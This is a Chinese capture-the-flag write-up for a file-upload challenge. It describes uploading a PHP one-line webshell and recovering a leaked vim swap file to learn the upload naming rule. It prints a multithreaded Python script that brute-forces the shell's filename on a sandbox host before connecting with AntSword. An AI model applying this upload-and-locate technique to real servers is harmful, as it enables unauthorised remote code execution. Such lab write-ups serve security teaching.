欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd

程序员文章站 2022-03-09 22:38:45
...

首先上传一下一句话木马文件,发现没有过滤,但是无论如何我们都找不到那个文件地址,猜想可能有源码泄露
[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd

通过目录扫描发现文件.index.php.swp,关于.swp格式文件是异常退出时linux生成的,具体可以百度
[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd
之后访问后,我们得到这个文件,推荐用linux的vim打开,但是考虑到这道题比较简单,直接记事本吧,发现文件名的规则
[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd
打个比方,就如上传的这个文件,那么的格式应该是url+20200826024904+(0-999的随机数)+.php
[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd
知道这个规则后我写了个多线程的Python脚本,如果找到那个能访问的地址则输入其url

import time
import threading
import requests


class wan(threading.Thread):
    def __init__(self, start, finish):
        threading.Thread.__init__(self)
        self.st = start
        self.ed = finish

    def run(self) -> None:
        for i in range(self.st, self.ed):
            url = 'http://challenge-e194e2eeb6d436d8.sandbox.ctfhub.com:10080/uploads/20200826024904'
            url += str(i) + '.php'
            r = requests.get(url)
            if r.status_code == 200:
                print(url)


if __name__ == '__main__':
    st = 0
    threads = []
    for i in range(0, 6):
        t = wan(st, st+200)
        st += 200
        threads.append(t)
    for i in threads:
        i.start()

得到结果
[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd
之后利用蚁剑连接
[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd
得到flag
[文件上传][源码泄露]2017-赛客夏令营-Web-Uploadddd